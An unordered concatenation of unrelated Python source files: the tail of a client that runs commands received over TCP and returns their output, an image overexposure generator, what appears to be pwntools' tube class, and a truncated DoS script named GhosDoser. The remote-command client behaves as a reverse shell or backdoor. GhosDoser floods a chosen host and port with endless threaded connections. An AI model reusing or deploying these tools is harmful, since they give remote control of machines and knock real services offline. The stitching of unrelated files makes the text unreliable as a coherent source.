stdout.decode("gbk") res_info_list.append(res_info) if stderr: res_info = stderr.decode("gbk") res_info_list.append(res_info) elif platform_sys == "Linux": if stdout: res_info = stdout.decode("utf-8") res_info_list.append(res_info) if stderr: res_info = stderr.decode("utf-8") res_info_list.append(res_info) else: res_info = "无法确认操作系统!" res_info_list.append(res_info) # print(res_info) res_info = ''.join(res_info_list) return res_info def send_recv(self): self.process("terminal") self.send_data(self.base_path) # 家目录 while True: cmd_str = self.recv_data() cmd_list = cmd_str.split(" ") path = None if len(cmd_list) > 1: cmd = cmd_list[0] path = cmd_list[1] else: cmd = cmd_list[0] if cmd == "quit": break print("cmd_str", cmd_str) print("cmd_list", cmd_list) print("self.base_path", self.base_path) if path == "..": self.base_path = os.path.dirname(self.base_path) print(self.base_path) else: self.base_path = path res = self.subprocess_execute(cmd, self.base_path) self.send_data(res) self.tcp_client.close() def main(self): process = multiprocessing.Process(target=self.send_recv) process.start()
overexposure_creator.py
# generate overexposure samples from clear images # author: @LucasX import argparse import os import random from multiprocessing import Queue, Process import cv2 import numpy as np parser = argparse.ArgumentParser() parser.add_argument('-orig_dir', type=str, default='C:/Users/LucasX/Desktop/ShelfExposure/normal') parser.add_argument('-outpur_dir', type=str, default='C:/Users/LucasX/Desktop/ShelfExposure/exposure') parser.add_argument('-alpha', type=float, default=2.0) parser.add_argument('-beta', type=float, default=0.0) parser.add_argument('-procs', type=int, default=2) parser.add_argument('-show', type=bool, default=False) args = vars(parser.parse_args()) print('-' * 100) for key, value in args.items(): print('%s = %s' % (key, value)) print('-' * 100) def modify_img_saturation(img_f): """ modify image saturation to imitate overexposure effect :param img_f: :return: """ if img_f.endswith('.jpg') or img_f.endswith('.png') or img_f.endswith('.jpeg'): if not os.path.exists(args['outpur_dir']): os.makedirs(args['outpur_dir']) image = cv2.imread(img_f) overexposure_image = np.zeros(image.shape, image.dtype) # alpha = args['alpha'] alpha = random.randint(2, 10) for y in range(image.shape[0]): for x in range(image.shape[1]): for c in range(image.shape[2]): overexposure_image[y, x, c] = np.clip(alpha * image[y, x, c] + args['beta'], 0, 255) if args['show'] and overexposure_image is not None: cv2.imshow('overexposure_image', overexposure_image) cv2.waitKey(0) cv2.destroyAllWindows() cv2.imwrite(os.path.join(args['outpur_dir'], os.path.basename(img_f)), overexposure_image) print('[INFO] generate overexposure image {} successfully'.format(os.path.basename(img_f))) def multi_proc_modify_img_saturation(imgs_queue): """ modify image saturation to imitate overexposure effect in multi-processing mode :param imgs_queue: :return: """ if not imgs_queue.empty(): img_f = imgs_queue.get() if img_f.endswith('.jpg') or img_f.endswith('.png') or img_f.endswith('.jpeg'): if not os.path.exists(args['outpur_dir']): os.makedirs(args['outpur_dir']) image = cv2.imread(img_f) overexposure_image = np.zeros(image.shape, image.dtype) # alpha = args['alpha'] alpha = random.randint(2, 10) for y in range(image.shape[0]): for x in range(image.shape[1]): for c in range(image.shape[2]): overexposure_image[y, x, c] = np.clip(alpha * image[y, x, c] + args['beta'], 0, 255) if args['show'] and overexposure_image is not None: cv2.imshow('overexposure_image', overexposure_image) cv2.waitKey(0) cv2.destroyAllWindows() cv2.imwrite(os.path.join(args['outpur_dir'], os.path.basename(img_f)), overexposure_image) print('[INFO] generate overexposure image {} successfully'.format(os.path.basename(img_f))) if __name__ == '__main__': # multi-thread processing version imgs_queue = Queue() for img_f in os.listdir(args['orig_dir']): imgs_queue.put(os.path.join(args['orig_dir'], img_f)) for i in range(args['procs']): Process(target=multi_proc_modify_img_saturation, args=(imgs_queue,)).start() # single-thread processing version # for img_f in os.listdir(args['orig_dir']): # modify_img_saturation(os.path.join(args['orig_dir'], img_f))
tube.py
# -*- coding: utf-8 -*- import logging import re import string import subprocess import sys import threading import time from .. import atexit from .. import term from ..context import context from ..log import Logger from ..timeout import Timeout from ..util import fiddling from ..util import misc from ..util import packing from .buffer import Buffer class tube(Timeout, Logger): """ Container of all the tube functions common to sockets, TTYs and SSH connetions. """ default = Timeout.default forever = Timeout.forever #: Delimiter to use for :meth:`sendline`, :meth:`recvline`, #: and related functions. newline = '\n' def __init__(self, timeout = default, level = None): super(tube, self).__init__(timeout) Logger.__init__(self, None) if level is not None: self.setLevel(level) self.buffer = Buffer() atexit.register(self.close) # Functions based on functions from subclasses def recv(self, numb = 4096, timeout = default): r"""recv(numb = 4096, timeout = default) -> str Receives up to `numb` bytes of data from the tube, and returns as soon as any quantity of data is available. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Raises: exceptions.EOFError: The connection is closed Returns: A string containing bytes received from the socket, or ``''`` if a timeout occurred while waiting. Examples: >>> t = tube() >>> # Fake a data source >>> t.recv_raw = lambda n: 'Hello, world' >>> t.recv() == 'Hello, world' True >>> t.unrecv('Woohoo') >>> t.recv() == 'Woohoo' True >>> with context.local(log_level='debug'): ... _ = t.recv() # doctest: +ELLIPSIS [...] Received 0xc bytes: 'Hello, world' """ return self._recv(numb, timeout) or '' def unrecv(self, data): """unrecv(data) Puts the specified data back at the beginning of the receive buffer. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: 'hello' >>> t.recv() 'hello' >>> t.recv() 'hello' >>> t.unrecv('world') >>> t.recv() 'world' >>> t.recv() 'hello' """ self.buffer.unget(data) def _fillbuffer(self, timeout = default): """_fillbuffer(timeout = default) Fills the internal buffer from the pipe, by calling :meth:`recv_raw` exactly once. Returns: The bytes of data received, or ``''`` if no data was received. Examples: >>> t = tube() >>> t.recv_raw = lambda *a: 'abc' >>> len(t.buffer) 0 >>> t._fillbuffer() 'abc' >>> len(t.buffer) 3 """ data = '' with self.local(timeout): data = self.recv_raw(4096) if data and self.isEnabledFor(logging.DEBUG): self.debug('Received %#x bytes:' % len(data)) if len(set(data)) == 1 and len(data) > 1: self.indented('%r * %#x' % (data[0], len(data))) elif all(c in string.printable for c in data): for line in data.splitlines(True): self.indented(repr(line), level = logging.DEBUG) else: self.indented(fiddling.hexdump(data), level = logging.DEBUG) if data: self.buffer.add(data) return data def _recv(self, numb = 4096, timeout = default): """_recv(numb = 4096, timeout = default) -> str Recieves one chunk of from the internal buffer or from the OS if the buffer is empty. """ data = '' # No buffered data, could not put anything in the buffer # before timeout. if not self.buffer and not self._fillbuffer(timeout): return '' return self.buffer.get(numb) def recvpred(self, pred, timeout = default): """recvpred(pred, timeout = default) -> str Receives one byte at a time from the tube, until ``pred(bytes)`` evaluates to True. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Arguments: pred(callable): Function to call, with the currently-accumulated data. timeout(int): Timeout for the operation Raises: exceptions.EOFError: The connection is closed Returns: A string containing bytes received from the socket, or ``''`` if a timeout occurred while waiting. """ data = '' with self.countdown(timeout): while not pred(data): try: res = self.recv(1) except Exception: self.unrecv(data) return '' if res: data += res else: self.unrecv(data) return '' return data def recvn(self, numb, timeout = default): """recvn(numb, timeout = default) -> str Recieves exactly `n` bytes. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Raises: exceptions.EOFError: The connection closed before the request could be satisfied Returns: A string containing bytes received from the socket, or ``''`` if a timeout occurred while waiting. Examples: .. doctest:: >>> t = tube() >>> data = 'hello world' >>> t.recv_raw = lambda *a: data >>> t.recvn(len(data)) == data True >>> t.recvn(len(data)+1) == data + data[0] True >>> t.recv_raw = lambda *a: None >>> # The remaining data is buffered >>> t.recv() == data[1:] True >>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a' >>> t.recvn(10, timeout=0.05) '' >>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS 'aaaaaa...' """ # Keep track of how much data has been received # It will be pasted together at the end if a # timeout does not occur, or put into the tube buffer. with self.countdown(timeout): while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout): pass if len(self.buffer) < numb: return '' return self.buffer.get(numb) def recvuntil(self, delims, drop=False, timeout = default): """recvuntil(delims, timeout = default) -> str Recieve data until one of `delims` is encountered. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. arguments: delims(str,tuple): String of delimiters characters, or list of delimiter strings. drop(bool): Drop the ending. If ``True`` it is removed from the end of the return value. Raises: exceptions.EOFError: The connection closed before the request could be satisfied Returns: A string containing bytes received from the socket, or ``''`` if a timeout occurred while waiting. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: "Hello World!" >>> t.recvuntil(' ') 'Hello ' >>> _=t.clean(0) >>> # Matches on 'o' in 'Hello' >>> t.recvuntil(tuple(' Wor')) 'Hello' >>> _=t.clean(0) >>> # Matches expressly full string >>> t.recvuntil(' Wor') 'Hello Wor' >>> _=t.clean(0) >>> # Matches on full string, drops match >>> t.recvuntil(' Wor', drop=True) 'Hello' >>> # Try with regex special characters >>> t = tube() >>> t.recv_raw = lambda n: "Hello|World" >>> t.recvuntil('|', drop=True) 'Hello' """ # Convert string into singleton tupple if isinstance(delims, (str, unicode)): delims = (delims,) # Longest delimiter for tracking purposes longest = max(map(len, delims)) # Cumulative data to search data = [] top = '' with self.countdown(timeout): while self.countdown_active(): try: res = self.recv(timeout=self.timeout) except Exception: self.unrecv(''.join(data) + top) raise if not res: self.unrecv(''.join(data) + top) return '' top += res start = len(top) for d in delims: j = top.find(d) if start > j > -1: start = j end = j + len(d) if start < len(top): self.unrecv(top[end:]) if drop: top = top[:start] else: top = top[:end] return ''.join(data) + top if len(top) > longest: i = -longest - 1 data.append(top[:i]) top = top[i:] return '' def recvlines(self, numlines=2**20, keepends = False, timeout = default): r"""recvlines(numlines, keepends = False, timeout = default) -> str list Recieve up to ``numlines`` lines. A "line" is any sequence of bytes terminated by the byte sequence set by :attr:`newline`, which defaults to ``'\n'``. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Arguments: numlines(int): Maximum number of lines to receive keepends(bool): Keep newlines at the end of each line (``False``). timeout(int): Maximum timeout Raises: exceptions.EOFError: The connection closed before the request could be satisfied Returns: A string containing bytes received from the socket, or ``''`` if a timeout occurred while waiting. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: '\n' >>> t.recvlines(3) ['', '', ''] >>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n' >>> t.recvlines(3) ['Foo', 'Bar', 'Baz'] >>> t.recvlines(3, True) ['Foo\n', 'Bar\n', 'Baz\n'] """ lines = [] with self.countdown(timeout): for _ in xrange(numlines): try: # We must set 'keepends' to True here so that we can # restore the original, unmodified data to the buffer # in the event of a timeout. res = self.recvline(keepends=True, timeout=timeout) except Exception: self.unrecv(''.join(lines)) raise if res: lines.append(res) else: break if not keepends: lines = [line.rstrip(self.newline) for line in lines] return lines def recvline(self, keepends = True, timeout = default): r"""recvline(keepends = True) -> str Receive a single line from the tube. A "line" is any sequence of bytes terminated by the byte sequence set in :attr:`newline`, which defaults to ``'\n'``. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Arguments: keepends(bool): Keep the line ending (``True``). timeout(int): Timeout Return: All bytes received over the tube until the first newline ``'\n'`` is received. Optionally retains the ending. Examples: >>> t = tube() >>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n' >>> t.recvline() 'Foo\n' >>> t.recvline() 'Bar\r\n' >>> t.recvline(keepends = False) 'Baz' >>> t.newline = '\r\n' >>> t.recvline(keepends = False) 'Foo\nBar' """ return self.recvuntil(self.newline, drop = not keepends, timeout = timeout) def recvline_pred(self, pred, keepends = False, timeout = default): r"""recvline_pred(pred, keepends = False) -> str Receive data until ``pred(line)`` returns a truthy value. Drop all other data. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Arguments: pred(callable): Function to call. Returns the line for which this function returns ``True``. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n" >>> t.recvline_pred(lambda line: line == "Bar\n") 'Bar' >>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True) 'Bar\n' >>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1) '' """ tmpbuf = Buffer() line = '' with self.countdown(timeout): while self.countdown_active(): try: line = self.recvline(keepends=True) except Exception: self.buffer.add(tmpbuf) raise if not line: self.buffer.add(tmpbuf) return '' if pred(line): if not keepends: line = line[:-len(self.newline)] return line else: tmpbuf.add(line) return '' def recvline_contains(self, items, keepends = False, timeout = default): r""" Receive lines until one line is found which contains at least one of `items`. Arguments: items(str,tuple): List of strings to search for, or a single string. keepends(bool): Return lines with newlines if ``True`` timeout(int): Timeout, in seconds Examples: >>> t = tube() >>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n" >>> t.recvline_contains('r') 'World' >>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n" >>> t = tube() >>> t.recv_raw = f >>> t.recvline_contains('pear') 'apple pear orange' >>> t = tube() >>> t.recv_raw = f >>> t.recvline_contains(('car', 'train')) 'bicycle car train' """ if isinstance(items, (str,unicode)): items = (items,) def pred(line): return any(d in line for d in items) return self.recvline_pred(pred, keepends, timeout) def recvline_startswith(self, delims, keepends = False, timeout = default): r"""recvline_startswith(delims, keepends = False, timeout = default) -> str Keep recieving lines until one is found that starts with one of `delims`. Returns the last line recieved. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. Arguments: delims(str,tuple): List of strings to search for, or string of single characters keepends(bool): Return lines with newlines if ``True`` timeout(int): Timeout, in seconds Returns: The first line received which starts with a delimiter in ``delims``. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n" >>> t.recvline_startswith(tuple('WXYZ')) 'World' >>> t.recvline_startswith(tuple('WXYZ'), True) 'Xylophone\n' >>> t.recvline_startswith('Wo') 'World' """ # Convert string into singleton tupple if isinstance(delims, (str, unicode)): delims = (delims,) return self.recvline_pred(lambda line: any(map(line.startswith, delims)), keepends=keepends, timeout=timeout) def recvline_endswith(self, delims, keepends = False, timeout = default): r"""recvline_endswith(delims, keepends = False, timeout = default) -> str Keep recieving lines until one is found that starts with one of `delims`. Returns the last line recieved. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. See :meth:`recvline_startswith` for more details. Examples: .. doctest:: >>> t = tube() >>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n' >>> t.recvline_endswith('r') 'Bar' >>> t.recvline_endswith(tuple('abcde'), True) 'Kaboodle\n' >>> t.recvline_endswith('oodle') 'Kaboodle' """ # Convert string into singleton tupple if isinstance(delims, (str, unicode)): delims = (delims,) delims = tuple(delim + self.newline for delim in delims) return self.recvline_pred(lambda line: any(map(line.endswith, delims)), keepends=keepends, timeout=timeout) def recvregex(self, regex, exact = False, timeout = default): """recvregex(regex, exact = False, timeout = default) -> str Wrapper around :func:`recvpred`, which will return when a regex matches the string in the buffer. By default :func:`re.RegexObject.search` is used, but if `exact` is set to True, then :func:`re.RegexObject.match` will be used instead. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. """ if isinstance(regex, (str, unicode)): regex = re.compile(regex) if exact: pred = regex.match else: pred = regex.search return self.recvpred(pred, timeout = timeout) def recvline_regex(self, regex, exact = False, keepends = False, timeout = default): """recvregex(regex, exact = False, keepends = False, timeout = default) -> str Wrapper around :func:`recvline_pred`, which will return when a regex matches a line. By default :func:`re.RegexObject.search` is used, but if `exact` is set to True, then :func:`re.RegexObject.match` will be used instead. If the request is not satisfied before ``timeout`` seconds pass, all data is buffered and an empty string (``''``) is returned. """ if isinstance(regex, (str, unicode)): regex = re.compile(regex) if exact: pred = regex.match else: pred = regex.search return self.recvline_pred(pred, keepends = keepends, timeout = timeout) def recvrepeat(self, timeout = default): """recvrepeat() Receives data until a timeout or EOF is reached. Examples: >>> data = [ ... 'd', ... '', # simulate timeout ... 'c', ... 'b', ... 'a', ... ] >>> def delayrecv(n, data=data): ... return data.pop() >>> t = tube() >>> t.recv_raw = delayrecv >>> t.recvrepeat(0.2) 'abc' >>> t.recv() 'd' """ try: while self._fillbuffer(timeout=timeout): pass except EOFError: pass return self.buffer.get() def recvall(self, timeout=Timeout.forever): """recvall() -> str Receives data until EOF is reached. """ with self.waitfor('Recieving all data') as h: l = len(self.buffer) with self.local(timeout): try: while True: l = misc.size(len(self.buffer)) h.status(l) if not self._fillbuffer(): break except EOFError: pass h.success("Done (%s)" % l) self.close() return self.buffer.get() def send(self, data): """send(data) Sends data. If log level ``DEBUG`` is enabled, also prints out the data received. If it is not possible to send anymore because of a closed connection, it raises ``exceptions.EOFError`` Examples: >>> def p(x): print repr(x) >>> t = tube() >>> t.send_raw = p >>> t.send('hello') 'hello' """ if self.isEnabledFor(logging.DEBUG): self.debug('Sent %#x bytes:' % len(data)) if len(set(data)) == 1: self.indented('%r * %#x' % (data[0], len(data))) elif all(c in string.printable for c in data): for line in data.splitlines(True): self.indented(repr(line), level = logging.DEBUG) else: self.indented(fiddling.hexdump(data), level = logging.DEBUG) self.send_raw(data) def sendline(self, line=''): r"""sendline(data) Shorthand for ``t.send(data + t.newline)``. Examples: >>> def p(x): print repr(x) >>> t = tube() >>> t.send_raw = p >>> t.sendline('hello') 'hello\n' >>> t.newline = '\r\n' >>> t.sendline('hello') 'hello\r\n' """ self.send(line + self.newline) def sendlines(self, lines=[]): for line in lines: self.sendline(line) def sendafter(self, delim, data, timeout = default): """sendafter(delim, data, timeout = default) -> str A combination of ``recvuntil(delim, timeout)`` and ``send(data)``. """ res = self.recvuntil(delim, timeout) self.send(data) return res def sendlineafter(self, delim, data, timeout = default): """sendlineafter(delim, data, timeout = default) -> str A combination of ``recvuntil(delim, timeout)`` and ``sendline(data)``.""" res = self.recvuntil(delim, timeout) self.sendline(data) return res def sendthen(self, delim, data, timeout = default): """sendthen(delim, data, timeout = default) -> str A combination of ``send(data)`` and ``recvuntil(delim, timeout)``.""" self.send(data) return self.recvuntil(delim, timeout) def sendlinethen(self, delim, data, timeout = default): """sendlinethen(delim, data, timeout = default) -> str A combination of ``sendline(data)`` and ``recvuntil(delim, timeout)``.""" self.send(data + self.newline) return self.recvuntil(delim, timeout) def interactive(self, prompt = term.text.bold_red('$') + ' '): """interactive(prompt = pwnlib.term.text.bold_red('$') + ' ') Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using :mod:`pwnlib.term` to print a floating prompt. Thus it only works in while in :data:`pwnlib.term.term_mode`. """ self.info('Switching to interactive mode') go = threading.Event() def recv_thread(): while not go.isSet(): try: cur = self.recv(timeout = 0.05) cur = cur.replace('\r\n', '\n') if cur: sys.stdout.write(cur) sys.stdout.flush() except EOFError: self.info('Got EOF while reading in interactive') break t = context.Thread(target = recv_thread) t.daemon = True t.start() try: while not go.isSet(): if term.term_mode: data = term.readline.readline(prompt = prompt, float = True) else: data = sys.stdin.read(1) if data: try: self.send(data) except EOFError: go.set() self.info('Got EOF while sending in interactive') else: go.set() except KeyboardInterrupt: self.info('Interrupted') go.set() while t.is_alive(): t.join(timeout = 0.1) def clean(self, timeout = 0.05): """clean(timeout = 0.05) Removes all the buffered data from a tube by calling :meth:`pwnlib.tubes.tube.tube.recv` with a low timeout until it fails. If ``timeout`` is zero, only cached data will be cleared. Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared. Returns: All data received Examples: >>> t = tube() >>> t.unrecv('clean me up') >>> t.clean(0) 'clean me up' >>> len(t.buffer) 0 """ if timeout == 0: return self.buffer.get() return self.recvrepeat(timeout) def clean_and_log(self, timeout = 0.05): r"""clean_and_log(timeout = 0.05) Works exactly as :meth:`pwnlib.tubes.tube.tube.clean`, but logs recieved data with :meth:`pwnlib.self.info`. Returns: All data received Examples: >>> def recv(n, data=['', 'hooray_data']): ... while data: return data.pop() >>> t = tube() >>> t.recv_raw = recv >>> t.connected_raw = lambda d: True >>> t.fileno = lambda: 1234 >>> with context.local(log_level='info'): ... data = t.clean_and_log() #doctest: +ELLIPSIS [DEBUG] Received 0xb bytes: 'hooray_data' >>> data 'hooray_data' >>> context.clear() """ with context.local(log_level='debug'): return self.clean(timeout) def connect_input(self, other): """connect_input(other) Connects the input of this tube to the output of another tube object. Examples: >>> def p(x): print x >>> def recvone(n, data=['data']): ... while data: return data.pop() ... raise EOFError >>> a = tube() >>> b = tube() >>> a.recv_raw = recvone >>> b.send_raw = p >>> a.connected_raw = lambda d: True >>> b.connected_raw = lambda d: True >>> a.shutdown = lambda d: True >>> b.shutdown = lambda d: True >>> import time >>> _=(b.connect_input(a), time.sleep(0.1)) data """ def pump(): import sys as _sys while self.countdown_active(): if not (self.connected('send') and other.connected('recv')): break try: data = other.recv(timeout = 0.05) except EOFError: break if not _sys: return if not data: continue try: self.send(data) except EOFError: break if not _sys: return self.shutdown('send') other.shutdown('recv') t = context.Thread(target = pump) t.daemon = True t.start() def connect_output(self, other): """connect_output(other) Connects the output of this tube to the input of another tube object. Examples: >>> def p(x): print x >>> def recvone(n, data=['data']): ... while data: return data.pop() ... raise EOFError >>> a = tube() >>> b = tube() >>> a.recv_raw = recvone >>> b.send_raw = p >>> a.connected_raw = lambda d: True >>> b.connected_raw = lambda d: True >>> a.shutdown = lambda d: True >>> b.shutdown = lambda d: True >>> _=(a.connect_output(b), time.sleep(0.1)) data """ other.connect_input(self) def connect_both(self, other): """connect_both(other) Connects the both ends of this tube object with another tube object.""" self.connect_input(other) self.connect_output(other) def spawn_process(self, *args, **kwargs): """Spawns a new process having this tube as stdin, stdout and stderr. Takes the same arguments as :class:`subprocess.Popen`.""" return subprocess.Popen( *args, stdin = self.fileno(), stdout = self.fileno(), stderr = self.fileno(), **kwargs ) def __lshift__(self, other): """ Shorthand for connecting multiple tubes. See :meth:`connect_input` for more information. Examples: The following are equivalent :: tube_a >> tube.b tube_a.connect_input(tube_b) This is useful when chaining multiple tubes :: tube_a >> tube_b >> tube_a tube_a.connect_input(tube_b) tube_b.connect_input(tube_a) """ self.connect_input(other) return other def __rshift__(self, other): """ Inverse of the ``<<`` operator. See :meth:`__lshift__`. See :meth:`connect_input` for more information. """ self.connect_output(other) return other def __ne__(self, other): """ Shorthand for connecting tubes to eachother. The following are equivalent :: a >> b >> a a <> b See :meth:`connect_input` for more information. """ self << other << self def wait_for_close(self): """Waits until the tube is closed.""" while self.connected(): time.sleep(0.05) wait = wait_for_close def can_recv(self, timeout = 0): """can_recv(timeout = 0) -> bool Returns True, if there is data available within `timeout` seconds. Examples: >>> import time >>> t = tube() >>> t.can_recv_raw = lambda *a: False >>> t.can_recv() False >>> _=t.unrecv('data') >>> t.can_recv() True >>> _=t.recv() >>> t.can_recv() False """ return bool(self.buffer or self.can_recv_raw(timeout)) def settimeout(self, timeout): """settimeout(timeout) Set the timeout for receiving operations. If the string "default" is given, then :data:`context.timeout` will be used. If None is given, then there will be no timeout. Examples: >>> t = tube() >>> t.settimeout_raw = lambda t: None >>> t.settimeout(3) >>> t.timeout == 3 True """ self.timeout = timeout shutdown_directions = { 'in': 'recv', 'read': 'recv', 'recv': 'recv', 'out': 'send', 'write': 'send', 'send': 'send', } connected_directions = shutdown_directions.copy() connected_directions['any'] = 'any' def shutdown(self, direction = "send"): """shutdown(direction = "send") Closes the tube for futher reading or writing depending on `direction`. Arguments: direction(str): Which direction to close; "in", "read" or "recv" closes the tube in the ingoing direction, "out", "write" or "send" closes it in the outgoing direction. Returns: :const:`None` Examples: >>> def p(x): print x >>> t = tube() >>> t.shutdown_raw = p >>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send')) recv recv recv send send send >>> t.shutdown('bad_value') #doctest: +ELLIPSIS Traceback (most recent call last): ... KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']" """ try: direction = self.shutdown_directions[direction] except KeyError: raise KeyError('direction must be in %r' % sorted(self.shutdown_directions)) else: self.shutdown_raw(self.shutdown_directions[direction]) def connected(self, direction = 'any'): """connected(direction = 'any') -> bool Returns True if the tube is connected in the specified direction. Arguments: direction(str): Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'. Doctest: >>> def p(x): print x >>> t = tube() >>> t.connected_raw = p >>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send')) any recv recv recv send send send >>> t.connected('bad_value') #doctest: +ELLIPSIS Traceback (most recent call last): ... KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']" """ try: direction = self.connected_directions[direction] except KeyError: raise KeyError('direction must be in %r' % sorted(self.connected_directions)) else: return self.connected_raw(direction) def __enter__(self): """Permit use of 'with' to control scoping and closing sessions. Examples: .. doctest:: >>> t = tube() >>> def p(x): print x >>> t.close = lambda: p("Closed!") >>> with t: pass Closed! """ return self def __exit__(self, type, value, traceback): """Handles closing for 'with' statement See :meth:`__enter__` """ self.close() # The minimal interface to be implemented by a child def recv_raw(self, numb): """recv_raw(numb) -> str Should not be called directly. Receives data without using the buffer on the object. Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an ``exceptions.EOFError``. """ raise EOFError('Not implemented') def send_raw(self, data): """send_raw(data) Should not be called directly. Sends data to the tube. Should return ``exceptions.EOFError``, if it is unable to send any more, because of a close tube. """ raise EOFError('Not implemented') def settimeout_raw(self, timeout): """settimeout_raw(timeout) Should not be called directly. Sets the timeout for the tube. """ raise NotImplementedError() def timeout_change(self): """ Informs the raw layer of the tube that the timeout has changed. Should not be called directly. Inherited from :class:`Timeout`. """ try: self.settimeout_raw(self.timeout) except NotImplementedError: pass def can_recv_raw(self, timeout): """can_recv_raw(timeout) -> bool Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object. """ raise NotImplementedError() def connected_raw(self, direction): """connected(direction = 'any') -> bool Should not be called directly. Returns True iff the tube is connected in the given direction. """ raise NotImplementedError() def close(self): """close() Closes the tube. """ pass # Ideally we could: # raise NotImplementedError() # But this causes issues with the unit tests. def fileno(self): """fileno() -> int Returns the file number used for reading. """ raise NotImplementedError() def shutdown_raw(self, direction): """shutdown_raw(direction) Should not be called directly. Closes the tube for further reading or writing. """ raise NotImplementedError() #: Alias for :meth:`recv` def read(self, *a, **kw): return self.recv(*a, **kw) #: Alias for :meth:`recvpred` def readpred(self, *a, **kw): return self.recvpred(*a, **kw) #: Alias for :meth:`recvn` def readn(self, *a, **kw): return self.recvn(*a, **kw) #: Alias for :meth:`recvuntil` def readuntil(self, *a, **kw): return self.recvuntil(*a, **kw) #: Alias for :meth:`recvlines` def readlines(self, *a, **kw): return self.recvlines(*a, **kw) #: Alias for :meth:`recvline` def readline(self, *a, **kw): return self.recvline(*a, **kw) #: Alias for :meth:`recvline_pred` def readline_pred(self, *a, **kw): return self.recvline_pred(*a, **kw) #: Alias for :meth:`recvline_contains` def readline_contains(self, *a, **kw): return self.recvline_contains(*a, **kw) #: Alias for :meth:`recvline_startswith` def readline_startswith(self, *a, **kw): return self.recvline_startswith(*a, **kw) #: Alias for :meth:`recvline_endswith` def readline_endswith(self, *a, **kw): return self.recvline_endswith(*a, **kw) #: Alias for :meth:`recvregex` def readregex(self, *a, **kw): return self.recvregex(*a, **kw) #: Alias for :meth:`recvline_regex` def readline_regex(self, *a, **kw): return self.recvline_regex(*a, **kw) #: Alias for :meth:`recvrepeat` def readrepeat(self, *a, **kw): return self.recvrepeat(*a, **kw) #: Alias for :meth:`recvall` def readall(self, *a, **kw): return self.recvall(*a, **kw) #: Alias for :meth:`send` def write(self, *a, **kw): return self.send(*a, **kw) #: Alias for :meth:`sendline` def writeline(self, *a, **kw): return self.sendline(*a, **kw) #: Alias for :meth:`sendafter` def writeafter(self, *a, **kw): return self.sendafter(*a, **kw) #: Alias for :meth:`sendlineafter` def writelineafter(self, *a, **kw): return self.sendlineafter(*a, **kw) #: Alias for :meth:`sendthen` def writethen(self, *a, **kw): return self.sendthen(*a, **kw) #: Alias for :meth:`sendlinethen` def writelinethen(self, *a, **kw): return self.sendlinethen(*a, **kw) def p64(self, *a, **kw): return self.send(packing.p64(*a, **kw)) def p32(self, *a, **kw): return self.send(packing.p32(*a, **kw)) def p16(self, *a, **kw): return self.send(packing.p16(*a, **kw)) def p8(self, *a, **kw): return self.send(packing.p8(*a, **kw)) def pack(self, *a, **kw): return self.send(packing.pack(*a, **kw)) def u64(self, *a, **kw): return packing.u64(self.recvn(8), *a, **kw) def u32(self, *a, **kw): return packing.u32(self.recvn(4), *a, **kw) def u16(self, *a, **kw): return packing.u16(self.recvn(2), *a, **kw) def u8(self, *a, **kw): return packing.u8(self.recvn(1), *a, **kw) def unpack(self, *a, **kw): return packing.unpack(self.recvn(context.bytes), *a, **kw) def flat(self, *a, **kw): return self.send(packing.flat(*a,**kw))
GhosDoser.py
import argparse, socket, sys, time from threading import Thread from art import * tprint("GhosDoser") print("Type GhosDoser.py -h for help\n") my_parser = argparse.ArgumentParser() my_parser.add_argument('-u', metavar='Target', type=str, help='Target IP or URL') my_parser.add_argument('-p', metavar='Port', type=int, help='Port to send the traffic') my_parser.add_argument('-t', metavar='Threads', type=int, help='Numbers of threads used') args = my_parser.parse_args() target = args.u port = args.p threads = args.t if port <= 0: print('Error: Port can not be negative or 0') sys.exit() if threads <= 0: print('Error: Threads can not be negative or 0') sys.exit() def attack(): while True: mysocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: mysocket.connect((target, port)) mysocket.send(str.encode("GET " + "ThIs Is An AtTaCk " + "HTTP/1.1 \r\n")) mysocket.sendto(str.encode("GET " + "ThIs Is An AtTaCk " + "HTTP/1.1 \r\n"), (target, port)) mysocket.close() print('==>Package sent<==') except socket.error: print('==>ERROR<==') mysocket.close def main(): print('Starting Attack') print('Target: ' + target) print('Port: ' + 